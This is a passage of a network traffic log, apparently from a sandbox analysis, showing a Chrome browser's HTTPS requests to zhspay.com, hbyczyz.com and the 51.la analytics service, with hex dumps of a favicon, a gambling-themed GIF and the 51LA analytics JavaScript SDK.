2024-09-27 03:50:42 UTC	265	OUT	Data Raw: 1f 8b 08 00 90 2b f6 66 00 03 5d 50 cb 6e 83 30 10 fc 95 88 63 55 87 b5 f1 03 72 ab 54 f5 d0 5b 55 21 f5 6a 6c 13 a2 10 07 05 1c 0a 55 ff bd ac 13 7a c8 6d 34 33 bb 3b b3 3f c9 c1 26 bb 4d f2 ee 5e ea d7 b7 49 ed bf 7c c9 3e a0 4c 9e 37 c9 65 58 14 aa 98 e2 50 00 07 90 b0 90 03 92 09 ca c7 71 45 b6 5f 51 7f db 26 b3 5c 42 51 29 a2 99 30 44 d8 42 10 0d a2 20 8a f2 8c 65 45 6e 24 cd d0 6e 02 ba 9b 61 e8 fa 5d 9a 8e e3 b8 9d 9b be d3 d3 d6 9c 4f e9 dc 84 c9 a5 07 6f dd f7 b6 19 4e 2d 0e 74 ff 03 8b bf a9 26 33 4f 73 34 c7 bc 2d 8a 94 e5 f0 44 81 71 a4 5a ed f7 48 3a 4f ca cf 78 31 c6 0f fe e8 cf 63 0c 7c c5 c0 14 15 b7 02 64 18 47 31 96 c5 d6 f6 72 07 e1 da 9b bb 2f dc ba 66 92 8a 8a db 8a 28 2d 81 08 ea 18 d1 bc 66 4b 6b c7 ac 15 ca 08 00 bc 14 ea c7 77 e6 Data Ascii: +f]Pn0cUrT[U!jlUzm43;?&M^I\|>L7eXPqE_Q&\BQ)0DB eEn$na]OoN-t&3Os4-DqZH:Ox1c\|dG1r/f(-fKkw
2024-09-27 03:50:42 UTC	408	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:42 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://www.zhspay.com Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE3[384],EU-GER-frankfurt-EDGE7-CACHE3[ovl,382] X-CCDN-REQ-ID-46B1: d45bb27ca746f2ec9387a6584dc5ff46

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49774	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:45 UTC	450	OUT	GET /favicon.ico HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:45 UTC	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:20 GMT Content-Type: image/x-icon Content-Length: 27690 Last-Modified: Mon, 11 Mar 2024 09:12:08 GMT Connection: close ETag: "65eecae8-6c2a" Accept-Ranges: bytes
2024-09-27 03:50:45 UTC	16152	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 84 00 04 04 04 04 04 04 05 05 05 05 07 07 06 07 07 0a 09 08 08 09 0a 0f 0a 0b 0a 0b 0a 0f 16 0e 10 0e 0e 10 0e 16 14 18 13 12 13 18 14 23 1c 18 18 1c 23 29 22 20 22 29 31 2c 2c 31 3e 3b 3e 51 51 6d 01 04 04 04 04 04 04 05 05 05 05 07 07 06 07 07 0a 09 08 08 09 0a 0f 0a 0b 0a 0b 0a 0f 16 0e 10 0e 0e 10 0e 16 14 18 13 12 13 18 14 23 1c 18 18 1c 23 29 22 20 22 29 31 2c 2c 31 3e 3b 3e 51 51 6d ff c2 00 11 08 01 f5 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 36 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 07 08 01 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 f8 d4 49 d8 83 20 15 06 42 1d 06 97 Data Ascii: JFIFxx##)" ")1,,1>;>QQm##)" ")1,,1>;>QQm"6I B
2024-09-27 03:50:45 UTC	11538	IN	Data Raw: cb dd 82 cc ba 8d 2f f7 eb 13 a7 a1 02 94 94 7b 3c 03 94 62 ab 42 ba c4 bb 40 60 b5 87 2c 4e 03 ba 3d 37 18 59 cf 36 27 45 5c e3 d9 2d 4d 34 13 a6 5c dd ea d2 b0 0d a6 fc 47 38 b6 f3 51 54 7c 5b c3 04 96 6d 93 ac 4c 70 a5 dc 60 3c 95 89 6c 92 c0 fb 3a 1b 98 30 c1 bd 60 d7 65 ea 79 97 23 0c 6d 81 7a 9d b7 b3 54 22 d6 96 88 87 33 1a bd 89 43 bc dd 7c 22 0d 94 5b 95 06 0a 21 6a c4 c1 ed 59 ac c6 d6 90 6a ce c4 98 e5 40 49 dc b9 8f 2f 58 94 16 b9 8e 08 a5 63 11 bc c7 ed a6 06 55 2a 7f 0c 1e f3 40 b5 2d 6a 5d 8d c6 60 6f ed 06 a3 01 6c f6 a9 bf ac 4d b3 54 36 16 95 2d e6 1d 04 28 96 99 d3 13 18 47 29 c3 6a b2 2d 80 f7 8e 61 0c e3 d9 65 f6 4c cc 2d 7a 2c 0a 28 de 34 55 52 4c 5d 29 7f 0d 3f b9 83 da 66 00 44 9b 73 43 0b c0 b5 45 f1 2c 35 95 35 28 b9 8a 67 06 d2 Data Ascii: /{<bB@`,N=7Y6'E\-M4\G8QT\|[mLp`<l:0`ey#mzT"3C\|"[!jYj@I/XcU*@-j]`olMT6-(G)j-aeL-z,(4URL])?fDsCE,55(g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49773	90.84.161.25	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:45 UTC	355	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:45 UTC	315	IN	HTTP/1.1 220 Date: Fri, 27 Sep 2024 03:50:45 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: EU-GER-frankfurt-EDGE5-CACHE4[197],EU-GER-frankfurt-EDGE5-CACHE4[ovl,195] X-CCDN-REQ-ID-46B1: ad9aeb2d40afc73deee847212aec611a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49772	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:45 UTC	361	OUT	GET /zhuye/img/betway999.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:45 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:45 GMT Content-Type: image/gif Content-Length: 786077 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-bfe9d" Accept-Ranges: bytes
2024-09-27 03:50:45 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 f7 00 00 11 11 11 22 33 00 33 33 00 d0 cc cd 00 00 00 da aa 58 6c 07 0c ff ee d8 0d 0f 26 10 23 27 11 22 04 ee 9f 14 90 09 0a 89 77 70 5f 73 91 fe cb 23 66 66 66 af 98 94 03 2b 4a 6a 48 2b 54 55 66 11 00 00 6d 0d 28 ff ff ff 55 55 55 27 ab e1 6f 48 04 6b 66 54 8e 27 2c fb d6 b8 71 87 a1 01 2e 6a a9 2a 44 03 4a 6e 8d 6d 4d 55 66 66 22 22 22 ce bb b9 b8 8f 2c 55 33 46 ad 10 10 f5 4e 5a 22 11 11 b9 aa 96 77 66 66 8a 88 75 01 88 a7 00 07 4d 66 55 55 68 2b 05 8d 72 2b 66 55 66 30 44 48 08 49 53 30 32 45 fc dc cd 44 43 44 01 6e 95 30 44 2b 33 33 33 d8 25 24 b6 8d 6f b0 26 2b 97 b1 de 8c 4c 4c ff db 42 33 33 11 8c 91 b1 50 0e 24 e0 73 01 d0 cc ba d4 b1 92 00 50 89 4d 44 0c 28 11 22 77 22 33 ff f7 44 8a 25 0d f1 b3 93 b1 40 46 ad 73 Data Ascii: GIF89a,"333Xl&#'"wp_s#fff+JjH+TUfm(UUU'oHkfT',q.j*DJnmMUff""",U3FNZ"wffuMfUUh+r+fUf0DHIS02EDCDn0D+333%$o&+LLB33P$sPMD("w"3D%@Fs
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: 7b 1c d5 13 d6 d7 58 a1 58 84 f6 65 89 0e 89 a6 6e aa 14 2e 28 83 2e d5 65 aa cf fa 44 26 a9 92 6a 1b 8c 4c 18 c0 00 11 40 82 58 65 e6 98 ae c2 25 42 4d 1e 5e 1d f9 f9 e1 68 1a d6 04 10 21 4c 14 40 48 8a 24 6b 96 24 90 b2 e9 75 ee 40 91 6e 40 9a 62 e5 76 2e a9 07 0a 2b 7c 80 c2 47 9c 62 96 42 a9 27 46 ab 26 0a a5 eb ad e2 70 92 a2 48 f8 82 2f 4c 00 35 ad a2 26 be 81 98 32 a9 14 21 84 bd a5 10 73 dc a2 6e ee e6 72 d5 26 9c 82 d3 a0 de a9 a0 ea e9 9f da ff a7 7c de 2b c2 cd 2b a0 76 9e b9 46 5e 33 be ab be f6 a9 a0 f2 27 20 62 63 8d 49 90 a1 c5 84 4b f4 00 64 05 ec 7c 00 e6 a9 39 e8 83 72 aa a5 4a 2c 53 1d 53 a6 66 2c c5 f2 a5 a7 42 a8 58 a9 cf 12 70 c0 12 b0 52 a9 96 6a c4 b2 2a ca 42 e6 4b bd 48 35 e9 43 8c 02 17 20 ed dc 35 d9 18 49 a2 dd 8e 92 64 49 f6 Data Ascii: {XXen.(.eD&jL@Xe%BM^h!L@H$k$u@n@bv.+\|GbB'F&pH/L5&2!snr&\|++vF^3' bcIKd\|9rJ,SSf,BXpRj*BKH5C 5IdI
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: d1 f6 cb 1f 6e 22 98 be a3 bf 06 f3 bb 70 9d 51 a6 aa 13 12 a0 4c a3 1b 4d 88 b0 19 a4 89 bb 72 9c 1c 32 b1 4d c5 7c d2 77 52 4c 0e 34 c7 52 63 a8 26 45 18 5b 6b a1 10 39 57 0b 1a 13 fc e3 cc 41 1b 58 e0 0c b8 66 30 c5 73 22 08 db 2c c6 05 fc 18 48 9c 98 87 15 22 ce 14 53 82 22 aa c6 54 29 04 49 d3 03 23 c8 11 32 d7 1d 82 53 15 50 bb 9d 61 a7 17 81 b5 7f 14 57 b7 ac 8f 4e d8 3c 69 03 54 46 fd ab 3c 88 ce 82 99 54 93 61 04 48 55 58 8e 84 59 54 aa d9 62 ff d4 59 57 a5 14 ea 34 19 ac 79 d3 9c 1d 88 f5 44 0c 1a 7b b1 51 b5 4f 77 23 3d 34 1c 0c df 40 55 a7 25 82 19 a3 9d 02 b8 31 c2 e8 4f 40 6a d3 48 5d a5 01 85 43 62 18 4a 57 e2 95 59 72 9e 5d 35 b3 e0 5b 26 98 20 80 61 95 38 63 f1 0d 10 48 01 60 3a d6 6e 39 1f 45 2c 1f 44 cc 3e 67 75 88 8f 59 09 f7 f9 ca 78 Data Ascii: n"pQLMr2M\|wRL4Rc&E[k9WAXf0s",H"S"T)I#2SPaWN<iTF<TaHUXYTbYW4yD{QOw#=4@U%1O@jH]CbJWYr]5[& a8cH`:n9E,D>guYx
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: d2 98 c3 3a 59 f9 79 9f c8 9a ac ca da 5e 61 ca ac 43 70 0f 03 80 56 c2 48 ad 6e ca 08 ea 61 0c 7d 75 4e 4b a0 ad aa f1 2e cd 37 20 3b 09 7b 79 2a ae e3 3a 62 8b 15 4f bc 06 1f 94 d0 85 81 2a a8 b7 aa 51 ee d8 a8 ec 1a b1 f1 3a 5d ef aa 95 09 4b 3e 9f 34 01 e1 38 77 d7 49 7f 05 fb 6c c9 00 aa f7 d3 a1 6b d9 b4 57 0b a3 a3 8a 96 f5 d3 87 d5 19 03 5d 3b 5c 16 2b b5 13 9b a4 fb 4a b1 13 e1 b1 1c 9b b7 78 bb b7 7a 9b 81 20 2b ac f4 99 b2 22 4b ac 27 4b a6 ff a4 03 a6 cb 4a 72 99 60 07 a2 e6 8b ba 27 b3 8d 8b 7a 14 40 0f 37 cb 0a 63 63 0a 0a da ad a9 69 08 95 36 7b 52 c4 83 46 37 b4 46 2b ba e9 52 45 c9 a6 ae b5 85 b0 13 31 64 c5 39 80 01 5b b5 66 3b b7 90 3a 10 07 cb 23 71 5b b7 72 3b 12 63 d8 87 54 a6 ba a6 ba 6e 49 e0 af f9 d8 87 65 08 b5 23 f1 ba 69 bb 6e Data Ascii: :Yy^aCpVHna}uNK.7 ;{y:bOQ:]K>48wIlkW];\+Jxz +"K'KJr`'z@7cci6{RF7F+RE1d9[f;:#q[r;cTnIe#in
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: 7b 42 35 22 35 82 c0 84 de 33 42 2f 8e e6 41 8a e1 95 76 6a 16 45 de 8d 14 42 67 ed 92 5b 13 a2 98 4f 89 0c 36 b1 cc 9f a5 a4 66 cd 70 3e 75 79 07 6d ed 10 7d 9a 9c af ff 88 0c 27 6b 78 e3 51 9d 4a b6 2d 4e 09 21 31 d9 18 6a 85 f3 27 15 39 11 91 50 e2 09 51 72 33 1c e1 e9 81 40 f8 59 17 03 d3 44 d2 b0 84 f6 74 11 d9 11 f8 a2 59 bc b3 21 e2 79 ad 63 29 8c 1c db 3b bb fd 15 83 90 dc 63 63 cd 53 9f 84 6c e6 0c b2 9c 60 58 de b1 90 f6 94 4d a9 55 fd 87 93 92 89 25 e9 ee cf b5 a1 53 9c 4a 5a f0 90 52 a4 76 23 12 75 48 71 2f ca 5d 9d 22 44 05 e0 cd 9e 78 f9 17 97 62 c9 d6 15 b3 b3 d4 1a ea d0 cc 7f 5c 91 72 03 fa 2d 09 b3 c9 22 b1 50 2a 21 6c e5 8c 1f 59 18 3a 58 6d 47 0f 15 9e 4c f4 7c 32 c2 00 87 f5 b1 0a 69 a5 de 26 ba 15 9e 2d 84 4c 0d 89 30 68 58 0b c9 d2 Data Ascii: {B5"53B/AvjEBg[O6fp>uym}'kxQJ-N!1j'9PQr3@YDtY!yc);ccSl`XMU%SJZRv#uHq/]"Dxb\r-"P*!lY:XmGL\|2i&-L0hX
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: 78 38 83 33 40 04 0c 68 83 47 55 b8 2b 23 58 4a 3d 58 c7 68 08 50 60 d1 3c da 38 70 c4 84 3a 38 8a d3 2a ba cf da c8 3c b4 51 43 b0 02 5a 98 54 b9 65 59 46 1c 2f 97 bc 4e 0c 2c 59 c8 fd 35 54 ab 8c c4 8d 59 de 34 0b be 45 80 55 d2 5c 04 c0 5c cb c5 55 a2 95 4a 9b 1d 5d 69 3b 0d 3c e0 d9 d3 0a 4c 89 8c d6 69 a5 cf 2a 18 84 b0 7c 0c 57 5c be c6 dc d6 a8 bd 5d 38 3d c9 6f 0d a1 89 93 85 3b 68 d5 ff 03 65 42 83 68 5a c2 98 03 c2 70 36 06 1c d0 ac 35 bf 0a f0 50 7e 5d b7 4f 70 8f 37 c8 07 7e 8d c6 ed 91 bf ea 2d 05 5e 84 06 f3 6b 35 b5 55 5b 12 1a d1 80 dd cd c4 2d 58 00 99 88 28 10 47 70 8c 58 ce 44 0a d3 e2 bd 50 f5 ca 06 c8 43 fa a5 df 32 88 db f2 45 59 25 2a 4b bb 9a bc 59 a5 d5 0d 1c 2a ce dd dc cb 40 dc ca fd 9e cb fd dc ed b4 5c c8 25 5d 07 f6 b9 40 53 Data Ascii: x83@hGU+#XJ=XhP`<8p:8<QCZTeYF/N,Y5TY4EU\\UJ]i;<Li\|W\]8=o;heBhZp65P~]Op7~-^k5U[-X(GpXDPC2EY%KY@\%]@S
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: ba cf 21 0f ac 60 01 b4 3b 0e 67 74 8c c2 49 77 86 a4 60 f8 0a a4 86 29 a4 c0 0b 83 d8 38 6d 9b 19 b3 a7 14 99 a4 22 b2 64 f8 a4 a4 62 89 10 82 75 5f f5 b0 23 ba 53 1f 41 03 d9 c1 0e 29 35 52 29 75 45 2d ea 19 da 85 72 21 f5 8a 13 a4 b2 8a 5b be 8f 37 b3 32 db 26 4d 42 1d 83 21 04 66 6a 36 60 db b6 83 13 bd a4 2b b6 72 6b a5 62 db 8d 57 b3 31 10 94 88 11 88 b5 6f 59 8b ab 28 96 f5 bb 2b 6d 24 ff 6b c4 91 14 61 1b 4e c8 01 3a c0 30 ba 74 19 38 13 0c 51 a0 23 c1 bf d8 46 20 3b 49 e7 cb c1 a1 5b 99 1b 6c 6d 6d 6b 7f a7 36 be 84 db be a4 db c1 d3 2b a2 9a 0b ae 9c ab 96 93 21 2f 92 21 c3 4d 39 c3 6c d9 95 30 bc 2b 31 59 c1 0f ac b5 3c ac 5e 10 dc c3 58 75 ba 75 80 06 7a ab 95 ad 10 bb 11 47 97 79 29 47 77 99 3a 49 1c 1c 0e b0 04 53 cc 01 55 3c c5 c6 18 77 3b Data Ascii: !`;gtIw`)8m"dbu_#SA)5R)uE-r![72&MB!fj6`+rkbW1oY(+m$kaN:0t8Q#F ;I[lmmk6+!/!M9l0+1Y<^XuuzGy)Gw:ISU<w;
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: d0 cb ac d0 e7 05 5a 4c 65 8b 09 19 05 34 c0 9f 12 8d 8b b8 28 d1 98 70 a5 63 b5 c1 d3 cb cd 1e dd cd d8 dc 58 8e e2 42 2e 14 26 a1 3c 7c b3 b5 26 ce a7 ce a8 a1 ce 28 aa 28 99 7c b8 7a f4 56 97 ff 38 b5 81 0a 4a ae 77 cb b1 27 2c 7e a0 cb f2 48 40 7e 50 bc 79 46 d0 44 dd 23 06 7d c4 36 b4 d0 07 7d d0 95 0a 6d 10 bd 90 13 dd 9f 13 fd 9a 34 90 d1 c6 d7 d1 97 0c d2 39 1b d2 af 51 73 24 5d 8c 9f b6 3b 63 9c d2 b7 9a ce 66 7c 51 39 91 cd 5a 9d 86 4f 04 d6 92 d9 02 45 64 cb a4 67 c7 ef bb 75 43 2b 59 9a 09 9e c0 4c 7b 45 dd d7 36 62 cc 0a ad d4 46 3c d8 4a 3d 71 93 e0 d0 3b 20 c1 13 9d 0b 12 2d d1 7d 8b 72 f6 4c d7 ee fc d1 94 fd ce 7a 0a 5b 09 35 bf 61 bc 37 ed 13 bf 34 e7 6a cf 18 48 68 9d 98 93 ed c2 13 d9 06 09 42 53 19 19 22 c1 79 b1 ad 6b b6 92 7d 8f 3c Data Ascii: ZLe4(pcXB.&<\|&((\|zV8Jw',~H@~PyFD#}6}m49Qs$];cf\|Q9ZOEdguC+YL{E6bF<J=q; -}rLz[5a74jHhBS"yk}<
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: 0d 4d 53 c9 21 5d c1 aa af 93 24 2e b6 4c 9f f2 11 16 f7 38 37 00 6e 85 a0 52 83 52 15 83 52 2f e0 61 10 90 f9 85 b5 1a 70 d9 ec 4a 85 71 03 36 f7 4e a4 28 97 c1 a2 4c 84 12 9b db d9 87 85 52 ac ff 09 d4 2c ad 1a b0 03 5b 2d 1e 71 00 e3 02 07 20 75 2c 79 e2 77 53 90 2c 9c 4a 05 d7 b2 a7 1d 8d 13 0e 52 64 b9 c0 1f cc a1 a7 31 aa a2 3f 02 c7 58 55 57 c1 f8 20 0c 8a 14 ae b1 2e 69 35 e2 1c 61 21 74 c4 11 4a 00 86 81 04 8e 1e 5a 24 fa 78 1d a7 90 e3 d0 8b 90 02 59 97 30 3a a3 75 c9 90 17 4c 4d ee d6 89 e6 22 7e 3f 8b ea be f2 0d 08 8d 3e fc ed 19 fb 67 a5 6f 1a 12 37 c9 52 3b 81 7d 56 40 dc 2c e1 60 f8 63 4c b3 9b a6 09 34 2c 17 a1 e8 b6 94 13 70 25 66 f3 2e 83 01 65 0d 94 fb 4c 8a 68 40 bc 46 35 48 72 97 c6 26 01 17 c3 e6 40 23 0e 36 00 ba d5 c7 17 af f8 5a Data Ascii: MS!]$.L87nRRR/apJq6N(LR,[-q u,ywS,JRd1?XUW .i5a!tJZ$xY0:uLM"~?>go7R;}V@,`cL4,p%f.eLh@F5Hr&@#6Z
2024-09-27 03:50:45 UTC	16384	IN	Data Raw: 43 c9 a9 cb 5d a2 93 5f c6 3b 67 45 29 13 b0 19 35 0f 9e 9d 93 56 25 4b 47 d0 eb 1d d3 a2 23 4d 67 e1 fa 79 52 94 9a 65 99 c8 31 df 1e eb 20 50 d0 1c 6d 9b 33 ed 92 60 d4 37 c9 c9 49 ee 2d 89 1c 27 19 73 09 d1 73 42 92 a2 2d 9d dc 3d 81 39 c3 45 38 6f 21 67 92 a7 4d 82 fa d4 3c 82 91 9e ff 5c e9 0e f5 99 52 ac 66 35 2b 91 d4 e1 ce f4 68 3e 6b 32 71 a5 22 9c a9 e1 2a 85 b2 ab d0 49 50 cf ea 29 0d 5a 72 b0 a2 a2 33 29 8d 5c d7 5c ad d4 37 1a c2 88 2d 6f c0 65 4f 52 37 d6 9e e1 13 94 a2 14 19 60 b5 7a 58 c4 6e 67 87 6f 0a 28 5a 0e 62 b6 c0 25 30 ff 30 06 0d 16 d5 50 86 32 7d 55 a5 3c 5a 14 1e 4f dd da d6 87 42 ae 91 72 9d ab 39 6b d7 0c bb aa 88 38 a7 63 6a 5f 6f 84 47 92 ae 53 a6 ae a4 2a 6c 9b 89 44 63 26 56 b7 ba 5d 2c f9 90 d6 d8 b0 46 eb 25 32 9d 2c 65 Data Ascii: C]_;gE)5V%KG#MgyRe1 Pm3`7I-'ssB-=9E8o!gM<\Rf5+h>k2q"IP)Zr3)\\7-oeOR7`zXngo(Zb%00P2}U<ZOBr9k8cj_oGSlDc&V],F%2,e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49775	118.123.207.191	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:45 UTC	568	OUT	GET /go1?id=20655415&rt=1727409039366&rl=12801024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409039366&tt=&kw=&cu=https%253A%252F%252Fwww.zhspay.com%252Fzhuye%252Findex.html&pu=http%253A%252F%252Fhbyczyz.com%252F HTTP/1.1 Host: ia.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:46 UTC	312	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:45 GMT Content-Length: 0 Connection: close Server: nginx via: CHN-SCchengdu-AREACT1-CACHE37[68],CHN-SCchengdu-AREACT1-CACHE37[ovl,48],CHN-SNxian-AREACT2-CACHE27[ovl,9],CHN-HAzhengzhou-GLOBAL3-CACHE16[ovl,1] X-CCDN-REQ-ID-46B1: 01fcf0d3868d89aee3cb1a350dee71ee

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49776	90.84.161.25	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:46 UTC	350	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:46 UTC	433	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:46 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE6[168],EU-GER-frankfurt-EDGE5-CACHE6[ovl,163],CHN-HElangfang-GLOBAL6-CACHE20[ovl,18] X-CCDN-REQ-ID-46B1: d67ff9a325778651822b8f6e5155dddd
2024-09-27 03:50:46 UTC	15951	IN	Data Raw: 66 39 66 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: f9f/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2024-09-27 03:50:46 UTC	16384	IN	Data Raw: 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b 5d 2c 66 76 3d 5b 5d 2c 66 77 3d 30 78 30 2c 66 78 3d 66 65 28 Data Ascii: x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,ft,fu=[],fv=[],fw=0x0,fx=fe(
2024-09-27 03:50:46 UTC	2080	IN	Data Raw: 5b 27 63 6f 6e 63 61 74 27 5d 28 69 45 5b 27 68 4a 64 59 51 6d 27 5d 28 67 72 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 27 29 5b 27 63 6f 6e 63 61 74 27 5d 28 4d 61 74 68 5b 27 72 61 6e 64 6f 6d 27 5d 28 29 5b 27 74 6f 53 74 72 69 6e 67 27 5d 28 30 78 32 34 29 5b 27 73 75 62 73 74 72 27 5d 28 2d 30 78 38 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 27 29 2c 69 45 5b 27 4b 68 75 48 53 4f 27 5d 28 29 29 2c 6a 64 3d 6a 36 5b 27 68 72 65 66 27 5d 2c 67 53 3d 7b 27 69 64 27 3a 6a 37 5b 27 69 64 27 5d 2c 27 72 74 27 3a 6a 38 2c 27 74 74 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 74 74 27 5d 2c 27 6b 77 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 6b 77 27 5d 2c 27 64 73 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 